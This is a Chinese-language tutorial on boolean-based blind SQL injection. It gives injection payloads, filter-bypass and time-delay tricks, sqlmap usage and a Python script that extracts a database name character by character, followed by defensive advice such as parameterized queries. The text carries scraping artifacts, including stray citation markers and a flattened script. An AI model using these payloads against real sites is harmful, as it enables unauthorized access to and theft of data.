目錄
一、布爾注入的原理與核心邏輯
二、布爾注入的實戰步驟
三、關鍵函數與繞過技巧
四、實戰案例:獲取數據庫名稱
五、防御策略與最佳實踐
六、總結
一、布爾注入的原理與核心邏輯
布爾注入(Boolean-Based Blind SQL Injection)是一種通過構造特定SQL語句,利用應用程序對??真(True)??與??假(False)??的響應差異來推斷數據庫信息的攻擊技術。其核心在于:
- ??邏輯條件構造??:通過
AND
或OR
連接布爾表達式(如1=1
或1=2
),觸發不同的頁面狀態。 - ??響應差異判斷??:若條件為真,頁面正常顯示(如返回數據);若為假,頁面異常(如無數據或錯誤提示)。
- ??信息逐位推斷??:結合字符串截取和ASCII碼轉換函數,通過二分法或遍歷法猜測數據庫的字符內容。
??示例??:
當注入' AND 1=1 --
時頁面正常,而' AND 1=2 --
時頁面異常,即可確認存在布爾注入漏洞。
二、布爾注入的實戰步驟
-
??確定注入點??
- 測試參數(如URL中的
id
或表單字段)是否存在可注入性,例如:?id=1' AND 1=1 -- (正常) ?id=1' AND 1=2 -- (異常)
- 若響應狀態差異明顯,則可能存在布爾注入漏洞。
- 測試參數(如URL中的
-
??驗證布爾注入可行性??
- 構造邏輯條件測試響應一致性,例如:
' AND (SELECT 1)=1 -- (正常) ' AND (SELECT 1)=2 -- (異常)
- 確認后即可進入數據提取階段。
- 構造邏輯條件測試響應一致性,例如:
-
??數據提取:長度與字符猜測??
- ??長度判斷??:
' AND LENGTH(database())=8 -- (若正常則庫名長度為8)[10](@ref)
- ??逐字符猜測??:
' AND ASCII(SUBSTRING(database(),1,1))=116 -- (ASCII 116對應字符't')[5,10](@ref)
- ??自動化工具輔助??:
- 使用
sqlmap --technique=B
自動化探測; - 利用Burp Suite Intruder進行批量字符遍歷。
- 使用
- ??長度判斷??:
三、關鍵函數與繞過技巧
-
??常用函數??
SUBSTRING(str, pos, len)
:截取字符串(如SUBSTRING(database(),1,1)
)。ASCII(char)
:獲取字符的ASCII碼值(如ASCII('a')=97
)。LENGTH(str)
:判斷字段長度(如LENGTH(user())=5
)。
-
??繞過過濾的技巧??
- 使用
MID
替代SUBSTRING
,或ORD
替代ASCII
。 - 十六進制編碼繞過關鍵詞檢測(如
SUBSTR%69%6E%67
)。 - 時間盲注結合布爾條件(如
AND IF(1=1,SLEEP(5),0)
)。
- 使用
四、實戰案例:獲取數據庫名稱
-
??步驟拆解??
- ??判斷長度??:
/page.php?id=1' AND LENGTH(DATABASE())=4 -- (若正常,則庫名長度4)[10](@ref)
- ??逐字符猜測??:
/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),1,1))=116 -- (字符't')[10](@ref)
- ??循環遍歷??:依次修改截取位置(如
SUBSTRING(DATABASE(),2,1)
)直到獲取完整名稱(如test
)。
- ??判斷長度??:
-
??Python自動化腳本示例??
import requests url = "http://example.com/page.php?id=1' AND ASCII(SUBSTRING(DATABASE(),{},1))={} --" result = "" for i in range(1, 5):for code in range(32, 127):payload = url.format(i, code)r = requests.get(payload)if "正常頁面特征" in r.text:result += chr(code)break print("Database:", result) # 輸出:test
五、防御策略與最佳實踐
-
??輸入過濾與驗證??
- 嚴格校驗參數類型(如數字型參數僅允許數字)。
- 過濾敏感字符(如單引號
'
、注釋符--
)。
-
??參數化查詢??
- 使用預編譯語句(如PDO或MyBatis),避免SQL拼接:
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?"); $stmt->execute([$username]);
- 使用預編譯語句(如PDO或MyBatis),避免SQL拼接:
-
??最小權限原則??
- 數據庫賬戶僅授予必要權限(如禁止
xp_cmdshell
)。
- 數據庫賬戶僅授予必要權限(如禁止
-
??錯誤信息隱藏??
- 禁止返回詳細數據庫錯誤(如屏蔽
mysql_error()
)。
- 禁止返回詳細數據庫錯誤(如屏蔽
-
??Web應用防火墻(WAF)??
- 部署規則攔截常見注入特征(如
AND 1=1
、SLEEP(5)
)。
- 部署規則攔截常見注入特征(如
六、總結
布爾注入是一種隱蔽性強、危害大的攻擊方式,其核心在于利用邏輯條件與響應差異逐步竊取數據。防御需從代碼規范(如參數化查詢)、權限控制、錯誤處理等多維度構建安全防線。對于滲透測試人員,掌握自動化工具(如sqlmap)與手動腳本的結合使用,可大幅提升攻擊效率。